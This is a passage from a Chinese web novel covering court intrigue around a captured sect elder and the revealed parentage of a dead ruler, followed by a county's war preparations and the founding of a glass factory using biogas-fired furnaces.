“原来是用这些符咒逃走的?差点就让你们真逃走了。” 虞珠抿唇微笑,又拿出一份风侯写的信件。 “景旭宫的风侯长老?不如先解释解释你和虞府为何搅在一起?” 风侯脸色微微难看。 当初他根本想不到自己的隐身符咒会出错,所以也没想到如今会遭到这番盘问。 虞珠慢悠悠打开信件,念了念他写的信,一张温和的面庞冷了点。 “长老有所不知,我和虞家有着血海深仇。但凡是谁和虞家有关联的,我便要挨个处理掉。” 这是一种隐晦的试探。 而此刻榴娘心里立马“咯噔”一番。 她几乎可以预料到以往的旧情人会为了摆脱自己说些什么了。 她从很久以前就发现,风侯此人颇为凉薄。 所以当初她果断找了别的靠山,而非他。 果然,在虞珠说完这话后,风侯立即表明自己和虞府没关系。 他的谎言很有水平,一半真一半假。 大概说的便是虞姚原先便和他有合作,而他此番前来不过是顺路而为,并不知晓这坎城内部会有这么大的变化。 他只是路过虞府,看到有官兵把守,为了拿到消息,他这才涉险进入探查情报。 “虽说我和虞姚过往有交易,但如今虞姚已经身死,而我和他不过是合作关系,全靠利益往来联合。 既如今大人您是这幽州新的王,那自然我定会选择和大人您合作。” 风侯将过去的事推得一干二净,至于为何会带着榴娘出城,他倒是当机立断。 “不过是利益往来,她给我银两,我带她出去。” 第277章 机缘 知道对方要做什么和亲眼看到对方做了什么,这两者之间还是存在差距的。 尤其是榴娘算计了一辈子,原以为儿子靠谱,老情人有用。 如今到了这个岁数,竟然是一个死,一个主动背叛她。 榴娘并未开口,而是冷冷的看着那风侯继续解释。 “不过是她说要将那虞府内的银钱给我,我这才决定带她走。但既然大人和虞府有仇,我自然愿意将先前拿到的银钱全部交出来,也绝不会插手。除了这些外,若等我回到景旭宫,我再给大人送来一些赔礼如何? 我那宫内有不少护身法器和符咒,大人身居高位,定是有些东西防身为好。” 说起这事,风侯也是不懂了。 原先为了虞姚能活得好好的,他特意收了好几个护身法器给对方,但没想到最后这虞姚不争气,还是没能撑到他来就死了。 但护身法器只能是防止外伤,防止恶咒袭击的这一类法器,至于防止下毒的,那可真没有。 主要也是因为下毒后,一般情况风侯这样的道士都会吃解毒丸压抑毒性,而后再对症下药,请人配制解药。 当时他自然也是给了虞姚一瓶解毒丸,但因虞珠下毒隐秘,等到毒发那日,解毒丸已经失去效果。 可谓是万般都是命,半点不由人。 这命运二字,让虞姚去死,那他便不得不死。 风侯倒是知进退,虽说他在景旭宫的确有身份地位,但架不住此次只有他一人前来,且运气不好,意外被人捉住扭送到了新的掌权者面前。 如今先放低姿态,等到他回去后,再看情况。 最好是对方能同意他的合作请求,再差点的话,好歹能拖延上一些日子,让他找机会离开。 因头一次见这虞珠,风侯自然是不知晓此人性格,但回想对方手段谨慎,想来这人要比虞姚有脑子。 与此同时,风侯知道眼下最影响他的人是榴娘。 若她将虞姚是自己孩子一事说出来,他别说求合作,就连能不能离开都是个问题。 但如今两人都被捆着,他身上能用的东西全被搜刮,浑身上下没有一件能威胁对方的东西,实在是令他郁闷。 风侯便不自觉开始烦躁——这榴娘是个麻烦精,生下来的孩子处处麻烦自己就算了,好歹还有好处等着他。 若不是他写信求救,他很可能就不会来此地,不来此地,又如何能被抓住? 更何况虞姚早就死了,她安的私心便是骗他过来救她。 现在可好,运气差,连他都被连累着逮了。 一想到这些,风侯便不由自主脸色难看。 此刻忍耐着,用目光和榴娘偷偷传消息。 无论如何,他肯定是要离开这里的。 就算这幽州新掌权人不愿意和他结交,但碍于景旭宫的面子,十有八九也得放了他。 毕竟谁也不愿意招惹景旭宫这群难缠的家伙。 虽说风侯知道就算是他死了,宫内也几乎不会特意为了自己报仇,但架不住外面许多人不知晓啊! 这个时候,风侯便觉得宫内不让外门弟子进入也是好事,不然这消息早就像是长腿了一样,一溜烟跑了。 有些事,还是要藏着掖着。 听完风侯的解释,虞珠看了对方几眼,观他不像是说谎,但她谨慎惯了,又问一旁的榴娘。 “你也说说看吧。” 原先害死虞珠生母后,榴娘坐稳了家里主母位置,好不得意。 榴娘是个有心机的,表面上对虞珠很好,但实际上,只有虞珠本人知道她是如何从虞家活下来的。 在虞珠还未长出颜色前,榴娘处处想找机会将这碍眼的嫡女处理掉。 主要也是因为斩草要除根,但无论是下药还是冬日将人推进池子里,试了好几次,这虞珠命大,竟然还活着。 榴娘实在是怕了,怕是那生母魂魄在护着女儿,心虚之下倒也收敛许多。 只是断了她的社交圈子,试图将她养废。 当初虞珠人小,却十分聪慧,知道这继母害自己,便假装被养废,直让府内外的人直摇头。 眼看虞珠没了威胁,日后嫁不到一个好人家,不存在为母报仇的可能性后,榴娘终于松了口气。 直到虞珠长开了后,虞府决定看看能不能用她换个联姻对象回来。 这时候的榴娘已经不是原先那个沉不住气的年轻人,搁在以前,她会担心虞珠翻身,但现在,她倒是不像过往那般小心,反而还给虞珠请了对应的女夫子教导她。 ——既然联姻就要发挥最大价值,再说了,联姻对象不会因为一个女人随便和他们闹翻,毕竟如今虞家受虞姚影响,变得势大。 如今权势都在男子手上,颜色好的女子吹几句枕头风,最多也只能能拿到一些小利益,但对于动摇根本的存在,没有一个男子能同意。 这便是多年来榴娘学会的东西,她成了虞府的主母后,倒是愈发眼界宽阔,知晓她原先那手段都是见不得光的小家手段——这正经主母可不会养废手中的孩子们,那些一个个都是她们日后有大用的旗子。 若是她原先能有这番眼界,恐怕会采取怀柔政策——反正当初的虞珠很小,根本不记事,她完全可以用软刀子杀人,将对方宠上天,让虞珠主动忘记生母。 这种以情感为枷锁的手段可要比别的威逼利诱来得更稳固。 只是这感悟来得太迟了,榴娘只能是感慨一番后叹气。 没办法,当时眼界受限,看不到更多,只能想着处理掉对方,如今倒是彻底失去了这一枚有用的旗子,毕竟一个心甘情愿被洗脑的,愿意给娘家谋划的人可要比不情不愿嫁过去的人有用多了。 等到后续虞姚称霸幽州,虞家在幽州地位前所未有的高时,榴娘天天要操心的事太多,倒也顾不上管虞珠,毕竟除了美貌,虞珠别的方面暂时没有出彩的地方。 但是谁都没想到,这虞珠不鸣则已,一鸣惊人,出手便是绝杀。 当初虞家被身穿盔甲的官兵团团包围时,榴娘还以为是其余两州的人打了过来,在看到领头的是虞珠后,不仅仅是她,全府皆是一副见了鬼的模样。 虞父气得直呼逆女,被虞珠身旁的手下两巴掌扇得鼻血直流,疼痛教会了他闭嘴。 榴娘看着眼前浑身冷冽的女子,再回想以往虞珠那番人畜无害的小白花模样,哪还不知道自己是被唬过去了。 之后听到虞姚身死,榴娘那点希望全没了。 她知晓自己绝对会死,这才强迫自己冷静下来,去写一封信将老情人风侯骗来。 若是要说当初她为何不实话实说,恐怕便是因为她当时在内心已经对这感情不是很放心——害怕说出实情,风侯要么不来,要么丢车保帅。 她知晓这男人到底有多凉薄。 此人绝不会做亏本买卖,若是知晓实情,恐怕连来都不会来,会直接给虞珠送过去一封合作信才是他的性格。 哪会像今日这般涉险。 榴娘在心中冷笑不已,既如今她活不成了,风侯凭什么能好好活着。 人在面对必死的命运时,只想拖人下水。 “虞珠,莫要被他骗了,他是虞姚的亲爹,我的老相好。” 此话一说,风侯瞳孔骤缩,立马表明对方诬陷。 虞珠倒是被这劲爆的消息冲击得微愣,倒是没想到那便宜弟弟居然不是虞家的种。 想到过去,她从母亲的丫鬟口里听到虞父往□□死母亲的那副丑恶嘴脸,虞珠兴奋了些,黑亮的瞳孔微微放大,让手下将虞父带来。 没直接带到狗咬狗的两人面前,而是安置在屏风后,嘴里塞了布子听着这事。 ——不如让他亲耳听听他不惜逼死母亲,也要抬到平妻位置的枕边人到底是怎么对他的,这种心理打击,对虞父这种虚伪又自视深情的人的打击可不比□□少。 而榴娘和风侯二人自然已经开始狗咬狗。 风侯斥责榴娘心狠,只知道往上爬,还骗他过来处理烂摊子。 榴娘斥责他凉薄,对她没感情,只有利用。 “我凉薄?若是我真凉薄我何必要回来见你,又何必冒着这番风险,和你继续在一起,我都是景旭宫长老了,要什么样的女人没有?” 风侯气急败坏。 榴娘冷笑:“那是再见之日我攀上了虞家,养得和花一样,你见色起意。 再加上我儿子争气,你有能利用到的地方。 若是我是个普通妇人,容颜不再,再见之日你只会感慨我活该,扔了你这块璞玉。” 被戳中肮脏的真实心思的风侯恼怒万分。 ——她怎么敢,她怎么敢这么侮辱他 “你还有脸说我,我替你儿子处理了多少烂摊子,每次一来找你,哪回没给你处理事?” 榴娘嘲讽,“那你亏了?我那会长得好,你哪次来了不和我缠绵?又是孩子爹,干点活记这么久?我以前没发现你心胸这般狭隘。 再说了,若不是儿子能帮你,你会这么好心帮忙?别说的自己多么无辜。” 完全没有辩解角度的风侯气得只能沉默。 而屏风后的虞父也是气得不轻,这会脑袋瓜嗡嗡的。 ——他竟然这般蠢笨,竟被这女人骗了许久!若不是今日,他恐怕临死前都还会被瞒着! 想起过往每日呕心沥血为虞姚的前途上升熬坏了身子,委曲求全去找人,又花钱又出力的,结果这压根就不是他的种! 这会虞父气得挣扎开来,嘴里的布子也被他扯开,对着这对奸夫□□就是一顿辱骂。 风侯: 榴娘知道自己快死了,冷笑。 “老不死的,要不是你好骗,愿意抬我做平妻,你以为我能和你在一起?如今这也算你的报应。” 虞父瞪大眼睛,眼内恨得充血。 原来对她好,说心悦他,全是骗他的 虞父脑内飞速闪过无数片段,最后却聚集在虞珠生母恬淡的容颜上。 那才是他唯一的妻子他却错把明珠当鱼目,亲手逼死了她 伸出手,对着榴娘指了半天,嘴里却说不出一句话。 最后竟然气得两眼一黑,晕了过去。 等到他醒来后,却惊恐的发现自己已经大小便失禁——中风了。 虞珠面无表情的看着眼前三人乱成一团。 虞父以往虚伪又好面子,如今中风后自然无法接受以往体面不再,她倒是不想这么快就弄死他,那必然要将他多留一段日子,看他求生不能,求死不得才好。 至于榴娘,她得先行处理掉。 而这来自景旭宫的风侯,她也一样没打算放过。 ——虽说如今他表现出一副不在乎虞姚,不在乎榴娘的模样,但万一日后回到景旭宫开始悲春伤秋,再过来报仇岂不是麻烦? 但景旭宫奇诡手法颇多,她得防着一手。 据说这些修道之人死后魂灯会灭,因这风侯还是景旭宫一长老,相当显眼,目前的话,她暂时不想让此人的死亡惹来更麻烦的存在,于是打算将此人找个最隐蔽的地方禁锢起来。 每日只给一小口水,一小口饭,只保证他活着,没有多余的一分精力考虑逃跑。 正打算这番执行计划,门外却有人求见。 此人不是别人,而是李归一。 李归一最近总在附近晃悠,负责查探幽州境内。 今日算了一卦此地有机缘后,便来到了这里求见。 对于虞珠来说,这人还算熟悉——先前那个卖给他们治疗瘟疫的解药道士。 虽说不知晓李归一此刻的目的,但该接待,总归还是要接待。 坐在会客厅,李归一便开口:“敢问阁下是否抓到了一修道之人?” 第278章 多事之秋 虞珠没料到对方竟然会知晓刚才那番秘事。 先前瘟疫如此,如今这事也是如此,这道士是不是来得太巧了? 虞珠略带打量望过去,心想难道是自己身边有了叛徒? 但不至于效率这么快。 前脚自己刚处理完,这后脚消息已经传递出去了? 在虞珠看来,绝对没有能传递的这么快的消息。 那便是此人有别的手段。 观他一身道士服饰,说不定是个和那景旭宫道士差不多的,会一些奇诡之术。 心里疑惑,但虞珠脸上没表露出来,反倒是询问对方为何这么说。 李归一缓缓道来。 “自然是在下算了一卦后知晓大人需要帮助前来的。” 虞珠心想莫非这道士需要那景旭宫长老,这会连别的理由都想好了。 ——她虽说留着这风侯是个麻烦,但也不能将人白白交给这道士,毕竟原先这人可还是用药从她手中换走了不少银两。 是交易,但那数额足够庞大得让虞珠心痛。 “莫非是道长需要那人?只是我等捉拿此人时,也是颇费一番力气。” 虞珠挖了个坑,想着看对方踩不踩。 结果李归一倒是笑着摇头。 “大人误会了,在下前来是要告诉您,这景旭宫的人他们有个法子可以定位,若是不好好隐藏气息的话,很快这人便会被找到。 所以大人您需不需要我帮您施法掩盖气息,好让那景旭宫发现不了?” 李归一是真能干好这事。 虽说景旭宫宫内冷漠,人人以利益为重,但好歹这风侯是长老,因为管理宫内不少事务,若是消失的话,自然会惹来其余人的追踪寻找。 而虞珠微微一愣,心想此人是真来帮忙的? 但等到问到价格后,虞珠又是抽搐着嘴角,——这价格,好想拒绝啊,心痛。 坎城再也经受不起折腾了。 不然就将这风侯扔到一偏僻之地,慢慢处理了,反正到时候谁也不知道他是怎么死的。 虞珠心想,这玩意黏在手上还甩不开了,放在哪儿都费劲。 似乎是看穿了虞珠的想法,李归一继续追加一句。 “若是大人不愿意花费银两处理气息的话,倒是也不要直接杀死他。 我听说景旭宫内有可回溯记忆的法宝,到时候若是被一回溯,一切岂不是都暴露了?” 这世间居然有这么诡异的法宝? 虞珠不自觉郁闷,眼下这风侯还真是打不得杀不得的。 想想就头痛。 看对方一副沉默模样,李归一满意了。 “其实还有一个办法,大人可以将此人交给我们,我们会带他走,处理好这一切麻烦。” 虞珠:得,兜兜转转还是被他引导到了最初她的猜测。 似乎是感受到虞珠的沉默无语,李归一慢悠悠解释。 “大人,在下所说都是真话,若你以为是在骗你,大可将人留下试试便是。” 虞珠不可能会让自己陷入危机,且如今此人对她来说其实并没有什么用处了。 ——他们之间已经是难以调和的矛盾,她不会放任他活着,同样的,对方也会拼命想活下去。 道士手段诡异,指不定哪天这人就会趁机溜走,还不如让同样是道士的人带走,省得她操心。 但虞珠谨慎,先让李归一用道祖发誓不会将此人放走——她听人说的,道士不可随意发誓,若是违背誓言,自有反噬。而后这才看着他带着风侯离去。 她还有很长的路要走,比如怎么快速恢复幽州的经济,眼下也没时间和李归一浪费时间。 李归一将此人迅速带到永道宫。 如今既然能阴差阳错活抓到景旭宫的长老,自然要在他身上获得足够的情报。 将仇师祖喊来,将风侯摇醒。 风侯醒来时,本以为会看到那熟悉的虞珠,结果眼前倒是出现了老熟人眼花了? 为何永道宫的人会在这里? 原先他想着忍辱负重,等自己找机会制作出符咒便逃离出去,等回到景旭宫后再说要不要报仇。 但眼下谁能知晓醒了后人就在永道宫内了? 这永道宫可比那些不懂道法的人难糊弄多了,他若是想从这里逃走,难度只会比原先大。 就算永道宫如今实力不如他们,但那也是因为对方不喜钻营,法宝道具少一些,但谁都不敢说,一对一真能打败对方,尤其出现在眼前的正是永道宫宫主,仇师祖。 此人原先便是天才,多年前不世出后,便逐渐落幕。 再看看自己的状况,风侯还有什么不明白的——这是被俘虏了。 估计他们会想尽办法从他嘴里撬出景旭宫的秘密。 搜魂? 搜魂搜不好会死,要么便是主动交代 明州。 自确定那风仙县的仙人已经数月不曾出现后,陈京行总算淡定下来。 既然没了仙人给他们作为后盾,他只需趁着秋收粮草足够后将风仙县攻打下来便是。 想到之前风仙县居然敢骗他一笔银两,陈京行便觉得怒在火中烧。 不是银两的事,这是脸面的事。 当初若不是他看在那所谓仙人的面上,面对这一小县城,何必派使者前往交好! 手下传来的消息便是那风仙县虽说神仙不曾出现了,但处处都有着仙人的传说,无论是戏曲画本子,亦或是那些个木牌雕塑。 陈京行很是不屑。 越是没有什么越要频繁的提及。 想来那所谓的仙人定是只在击杀义师军时现身那一次,之后便再也不曾现身,而那所谓的风仙县县令便是凭借着那次机会摇身一变,四处宣扬,将自己包装成仙人的使者,好掌管这些愚民。 饶是如此,这才能迅速积攒下一批信众。 思来想去,将其中各个节点想通,陈京行倒是明白了。 这风仙县县令是个有手段的人,至少在如何治理本县,发展经济上是个好手,但她选错地方了。 在一个还不曾平稳下来的地方肆意发展,除了给他人做嫁衣,毫无作用。 冷笑一番,陈京行大概定了秋收后攻打风仙县的日子,这才静静等待那日到来。 为了避免打草惊蛇,甘林倒是又被用了回来,只不过时不时去骚扰对方一下,假装还在继续讨要催促。 虽说甘林的演技不错,但总归方知意看得更真切。 最近她早就派人前去查探附近,在得到手下回话后,方知意知晓对方定然是已经做好了想要进攻的准备 正好,她目前所生产的火铳和震天雷数量足够,且为了以防万一,还做了不少燃烧/瓶。 若真是打起来的话,她定能从武器上完全碾压对方,哪怕对方人多。 注定会是个不平之秋。 因预感到秋收不太平后,方知意特意找到了赵金构,将粮草全部预留下来。 这一举动立马便让赵金构知晓,要动手了。 这消息最好不要放出去,得私下暗暗来,不然会惹得民心动乱。 虽说他们知晓在仙师的庇护下,风仙县自然不会落败,但这些民众不知道。 若是让他们知道来攻打风仙县的是三州之一的陈京行,恐会惹出更多事来。 很快,赵金构便负责私底下处理粮草一事。 而方知意则是在昨日又得到了仙师的隐晦提点。 ——生产玻璃。 对于玻璃这物,方知意在查阅集闻楼内的资料后才有所知晓。 是一种类似云母打磨透明后的产物,澄净透彻,通常被用来作为家居装饰更多一些。 为何在这番打仗前夕,仙师还会让自己制作这么看似很无厘头的玻璃? 方知意微微蹙眉,而后缓缓舒展。 应当是仙师借此物隐喻表示此战必胜。 想想看,若是此战凶险,恐仙师早就拿出更需要的东西来了。 为何非要拿出一个看起来除了能提高生活水平质量,能够贸易到别的地区赚钱的次重要产物出来? 必定是仙师已经觉得一切已经准备妥当,已经无须再花费多余的心神在此事上了。 与其操心这些有的没的,不如提升一下民众的生活质量,再把东西往外卖一卖,赚点钱才是硬道理。 话说这是不是也是仙师在间接催促她们行动? 毕竟要知道如今买卖东西的话,幽州和黎州是大头,至于明州,因陈京行此人风评太差,不少商人宁愿避开他麾下的领地,也不愿意去售卖货物。 明州这么一大片地方,倒是因为陈京行的缘故,无法痛快做生意,实在是可惜。 方知意越想越觉得是这个道理。 此刻也不免感慨——仙师原来早就对一切运筹帷幄啊。 只是因为前不久探测队找到了一块石英砂矿区,所以他这才顺手点了制作玻璃科技点的姜定:???不是,我随手点的!哪里亮了点哪里啊,那一大堆迷之脑补是什么鬼? 眼下方知意除了让官兵们继续训练,便是将这玻璃的制作研究交给了仇离去解决。 毕竟火铳和震天雷研制成功,两个天才放在一个已经攻破的项目上实在浪费。 于是这烧玻璃的活计就这么落到了仇离头上。 话说回到二人研制成功火铳那日,亲眼看到这火铳个头这般小,却能带来这么大的杀伤力后,仇离难免震惊 这可以和爆破符咒相比较了。 但远比制作符咒省事得多。 成本低廉,效率高,使用人群没限制。 一眼看过去全是好处。 除了研究费劲。 但等攻破核心关卡后,一批批往外复制就很简单了。 至于那震天雷的效果更是相当于中级符咒爆破咒。 原本以为会研究一些日子,但好在是段化先前就研究了足够时间的火药,竟是很快便将此物研制出来,甚至比火铳的速度还要更快一些。 在获得方大人的首肯后,火铳和震天雷的数量便以一个极为恐怖的速度增长着。 如今仇离草草计算一番,最少每个人手上都能发两把火铳,一把震天雷了。 当初除了这两样东西外,方大人特意将燃烧/弹的研究也托付给他们。 稍一研究此物,仇离便知晓为何方大人对这东西的要求不多了。 实在是效果过于霸道强悍,没有人性。 他猜测,这东西只是用在危急时刻,绝非普通时刻要用的。 等忙完这几样大工程后,仇离其实还休息了一段时间,甚至还忙于修炼。 而段化倒是继续研究着,看是否能将火铳体积改小一些,最好大小能控制在藏在袖口的尺寸。 既段化对研制此物颇为得心应手,仇离自然也不想白白浪费时间。 他没轻松多久,方大人便将这制作玻璃的活计给了他。 本以为会比较麻烦,但当看清楚那本书后,仇离神色一动。 ——还挺简单的,石英砂的话,前段时间探测队探测到了一块石英砂的矿区,据说产量还挺高,倒是没想到今日就派上用场了。 这制作玻璃最关键的一步是熔炉搭建和升温。 烧制玻璃需要将温度升制1200度以上,若是放在以往的话,这升温是个难点,得需要煤炭或者是木炭持续燃烧四个时辰才能到达1200度,但如今不同,本县内已有沼气池,完全可以引入沼气。 若用沼气升温的话,一来是升温速度快,二来是温度很容易保持稳定,三来便是污染少,燃烧无浓烟,可大大降低玻璃被烟灰污染,提升成品的透明度。 当然,为了更好的升温,仇离脑内立马想到了另一个改装要点——风箱鼓风,让火焰更旺,毕竟沼气需要与空气充分混合后才能更高效燃烧。 这风箱制作起来很简单。 那熔炉的话,最核心要点便是熔炉内壁需要用“黏土和石英砂”混合涂抹,外层要用红砖砌保温层。 最关键的一部分构思完毕,其次便需要提升效率。 仇离暗自思索,——可将熔炉内多放置一些陶坩埚,同时烧制多份玻璃液,这可比单坩埚效率高多了。 同时,工艺上必须要优化。 一是原材料预处理方面,可以先用水淘洗去除原材料石英砂内的杂质,譬如黏土这些,再用细密的绢布筛选出均匀的细粉,降低后续玻璃气泡的出现。 二是次关键的退火窑必须要改良,原先退火窑需要保持500度高温,每天降低50-100度,3-5天后才能降温成功,如今可将塑型后的玻璃放入陶罐内,再将陶罐放在草木灰内快速降温,可成功将时间降低到1-2日,且因温度下降均匀,成品碎裂率也会降低不少。 三便是模具必须要统一定制,若是按照这给的法子让匠人用嘴吹,一是危险,而是效率低,还不如制作木质或陶质标准模具,且刚好本县无论是器械厂,亦或是陶瓷厂都能满足批量生产。 第279章 风靡 一切流程飞速的在脑内过了一圈后,仇离便开始组装炉子,将脑内想法一一实现。 好在是几乎没费太多力气,在试了两天后,最适合本土制作玻璃的配方便被仇离研制出来了。 已经有了大概的流程,他所需要做的不过是耐心试验,直到得到最优秀的配方而已。 这可比摸瞎容易多了,起码配方将材料写得很齐全。 不需要一个个试材料什么的。 既然一套完整的流程已经顺利顺下来,那后续的大批量制作便不在仇离的管辖范围内了。 很快就有专门的人将此事包揽下,边负责建设玻璃厂,又负责招人,还要负责制作模具。 当然,燃烧炉也得迅速改装好,放到厂子内。 这些东西自然是越快做好越有利。 没多久,玻璃厂便建设起来,其内的燃烧炉并排着,显得无比整齐,外行人一眼进去压根看不懂这是在干什么。 但大家都知道,有新的厂子便代表又能新进人了! 谁家还没个想进厂子内上工的人? 这消息迅速传播,等着进厂的人个个准备妥当,就等着面试招聘了。 而器械厂和陶瓷厂正在赶工送来的模具订单。 要说这两个厂子目前干活几乎就没停下来过。 个个都采取的是计件算法,所以这段时间,他们忙归忙,但钱还真没少挣。 器械厂从之前的制作改良农具,到后续制作连锁加盟店的改良机器,以及改良的织布机,再到后续的筒车和翻车,以及现在所需的模具,不可谓不忙碌。 所以,器械厂时不时便需要新招聘员工进入,不然这么多活计,还真不好干完。 而陶瓷厂也没好太多,首先出货量最大的自然是马桶。 这玩意只要用过一次后就没人能拒绝它的便捷和卫生,普通人家最少一家一个,而那些讲究的大户自然是每人一个。 这玩意他们可不兴乱用。 而单单是马桶的订单,就已经排满到溢出,更别提如今还需要陶瓷厂做的模具。 因为计件,所以截止到目前为止,无论是器械厂还是陶瓷厂,这里的员工每日日薪均能保持在日薪400-500文区间。 这是个很高的工资,虽然累点,但两天时间便能获得接近一两的银钱。 一两在本县的购买力很强,便宜的东西不用说,就连那贵点的张氏点心铺也能试探着去买一些尝尝味了。 目前的话,需要最多的当然是制作玻璃的模具。 这东西会被广泛应用在房屋建造上,作为透光材料大批量使用,势必要将原先的宣纸取代。 除了房屋建造上有用外,本县的沼气灯灯罩也要换上玻璃的才是。 玻璃厂任务相对来说比较麻烦,一是原材料制作需要一批心细的人,二是成品制作出来后放入模具,之后还需要打磨,也是个活计。 所以这次收人收了不少。 不少原先没机会进入的人,这次都拿到了机会,不论是技术工还是普通工,对于百姓们来说,只要先迈进去一步脚,别的东西日后都可以慢慢经营。 而这次的人中,不少人是后期又来了一部分的黎州元城匠人的家属们。 这些人运道不错,刚好赶上最缺人的时候,但凡是差不多点的,都能进去。 而这群人中,自然有不少是吴匠人同一批来的匠人的妻子家属们。 倒是吴匠人还没下定决心叫妻子来,一来是不知道这风仙县能不能维持得住这份繁华,二来是妻子的兄弟姐妹不少,若是要走,肯定要伤筋动骨一番,不然她也不会来。 先前吴匠人在勤恳每日上工做活后就发现,这风仙县完全是蔑视了大炎朝的诸多规定,他起初还有些疑惑,等到后来有人将那写着风仙县律法的报纸翻出来给他看后,吴匠人愣在原地。 ——妈呀,这被知道了可是可是会被砍头的! 谁允许一个国家有两种律法了? 这么做无异于挑战朝廷权威啊! 一开始知道时,吴匠人吓了个半死,甚至都想找机会回到风仙县,但实在是放下这里的活计——回去了是安全,但哪能赚到这么多钱啊! 到底是回去了辛苦过苦日子,还是留下来过几天人过的生活,吴匠人说实话有些发愁。 话说这报纸早就放在这里了,放报纸的人是和他们一同来的黎州元城匠人,此人用意便是让他们若想带家人来风仙县前,好歹知晓这风仙县到底是个什么情况。 诚然有人觉得这里不错,但也有人更以安稳为重。 和吴匠人一批来的那些人中,也有人在元城的日子本就过得艰难,自然不考虑太多,索性直接将家人接来。 而在元城还稍微过得可以的,有些存款的人就比较发愁了。 ——毕竟人在一无所有时容易下决心,一旦有身外之物作为羁绊,反而犹犹豫豫难以下定决心。 这个时候,吴匠人难免就开始羡慕万惠了。 他来了这里后没主动去找万惠,但时间长了,总能遇到。 眼看如今万惠全家人在风仙县过活得安稳自得,上次见时,他差点没能认出来这一家人。 记忆里一家四口都是黑乎乎瘦弱的,但在风仙县的这些日子,这四口人打眼一看就过得很好。 养得白了,壮了,脸上开始有肉了。 好歹以前还是邻居,吴匠人和万惠打了个招呼。 万惠有些诧异,他没想到原先口口声声说这活计是傻子才会来的吴匠人也会出现在此地。 察觉到对方上下打量的眼神,吴匠人的脸庞涨得和猪肝红一样。 其实在他也拿到对应的高薪后,吴匠人已经不想再和万惠比那些有的没的了。 以前他喜欢和对方比,本质上还是觉得当初万惠手艺比他好时赚钱比他多。 ——其实当初也不算多很多,但所处环境过于贫乏,当一切资源都难以获得时,人会痛恨嫉妒那些能踩着自己上位的人。 哪怕对方并未做错。 但在风仙县,这里资源丰富,至少不会为了养活自己就需要暴露出嫉妒,且他努力后,也能获得不错的收入,吴匠人的戾气少了许多。 连带着今日一见,对自己过往的小心眼道了个歉。 万惠有些惊诧,他没想到一向小心眼的吴匠人竟然会道歉。 但回想过往,此人作为他的邻居,虽说嘴臭小心眼,但倒是从未真做过落井下石之事,大多数时候就是来他面前纯炫耀自家,恶心自己。 属于没做真的错事,但实在烦人的那类人。 万惠其实不是很想原谅他,吴匠人似乎也察觉到到他的意图,这会和他说了几句话迅速离开了。 看着吴匠人跑远,万氏率先开口:“我还以为他吃错药了,往常在元城时,他傲得很,天天奚落咱家,这来了风仙县倒是稀奇,竟然还能等到一句道歉。” 万惠也觉得吴匠人吃错药了。 “算了,到底以后不是邻居了,也不经常见面,就当陌生人处吧。” 两人慢悠悠离开了。 而吴匠人则是跑走,他也觉得自己疯了——居然给万惠道歉。 尤其是对方不接受后,他更窘迫了。 在街上乱走时候,倒是意外溜达到了本地的忏悔室,等知道这忏悔室的作用后,吴匠人决定进去忏悔一番。 忏悔他过去犯过的错。 因他犯错均是言语奚落,最后吴匠人给忏悔室捐了点钱,算作对往日恶行的忏悔,又让那神使给自己身上洒了水,这才出了忏悔室。 经过这番忏悔,吴匠人觉得自己是彻底放下了攀比之心,如今没什么比将自己日子过好更重要的事了。 原先他因为嫉妒,将注意力过多的集中在别人身上,从而忽略了自己的事。 虽说不曾做过什么真的恶行,但言语奚落本身便是一种恶行,吴匠人真正觉得后悔了,后悔过往所做 那便从现在开始改变,谨言慎行,改变心态才对。 吴匠人满怀感激的从忏悔室离开了。 而忏悔室内的官府工作人员:好耶,今天又重新引导人进入正途了呢 这些工作人员自然是柳叁临走前培养出来的人才,个个精通于和人交流,几句话便能将对方引导至该去的道路。 虽说现在忏悔室内的人没有一开始那么多,但总归陆陆续续还有人过来忏悔。 只要能将一人引入正途,他们这工作就不算白费,毕竟这一个人走上好路了,日后能减少多少麻烦事啊! 毕竟谁都知晓,光是靠严苛的律法无法彻底管控治安,哪怕是仙师也费点劲,但若是能从思想源头管控,那便轻松多了。 不过话说,整体风仙县的治安很好,一是仙师有仙师作为威慑,二是百姓均接受扫盲,自发为了更好的未来自愿安分守己,三是风仙县有特殊的治理技巧——信誉积分,这玩意完全影响一个人,乃至一个家庭,好几个家庭的未来。 所以现在其实本县的恶性事件极少,再加上巡逻队每日都要巡逻一圈,在风仙县生活的百姓们安全感很高,甚至那些小吃摊要营业到晚上亥时才算结束。 像是以前,天一黑,外面几乎没人了,那个时候治安不行,在外面走那是真危险,现在不同了,谁家小商贩不做生意到这个点? 玻璃厂的招收很快结束,等到新一批玻璃制作出来时,玻璃厂的员工们先震撼了。 “这便是玻璃?怎地会这般透亮?和我见过那些老爷家用的贝母一样不,比那更透亮!” “这还没打磨好,若是打磨好了,想必会更透!” “这玻璃若是安装到窗户上,屋内得多亮堂!而且这还遮风挡雨的,比宣纸好多了。” “谁说不是呢,就是价格不知道卖多少,若是价格合适,我也想给我家换了。” 有这想法的人不少,如今玻璃厂开业后,因为全力生产,这里也是按照计件算钱的,所以玻璃厂的工资也不低,也得有个三百来文。 人手里有了钱,吃穿不愁后自然想提升生活质量,原先的宣纸还需要经常修补,也不够明亮,隔音也不好,既如今有玻璃现世,若是价格不贵的话,谁都想换上一块新的透亮的玻璃——又实用又美观,装上去的话,屋子都看着贵了好几个度! 有人立马开腔。 “依我看价格不会太贵,就像那水泥一样。 只是得看这玻璃产量和用量,若是和水泥一样需要大批量先用在公家上,最多也就是前期买不到货,但等后期玻璃产量多了,咱们也能买到了。” 这话说得有道理。 水泥原先修路大批量使用时,除了官府给下发的,让自己修自家门前的那袋子水泥外,别的时候就算是想要水泥也完全买不到,水泥厂的水泥几乎一被生产出来全部被拉到各处使用。 无论是修建道路亦或是加固城墙,亦或是水利修建改整,总之水泥的用途必须要优先提供给官府使用。 而等到日后时间长了,慢慢的,这水泥产量上升,用量减少,总算是能匀出一部分给百姓使用了。 水泥可以用来修补固化墙壁,不少人会额外买水泥涂抹墙壁,好让砖石更耐用,或者干脆是将家里的砖块院子也抹上水泥,除了留下菜园子,别的地方下雨时至少不会因为砖块松动而踩一脚泥泞。 且这水泥的价格并不算贵,大约是10文一斤,但若是想刷新墙壁的话,一面墙大概需要50-60斤水泥,大概花费在500-600文,且不算人工费。 所以不算特别便宜,但好处在于,这改装花一笔大钱后,日后只需要小批量的维护便够了。 这么算下来,若是想用水泥将家里全部翻新一遍,大概也得花个好几两银子才是。 有的人觉得早些翻新完早安心,还省钱,也有人觉得暂时不值当,先将最需要改装的地方改装了即可。 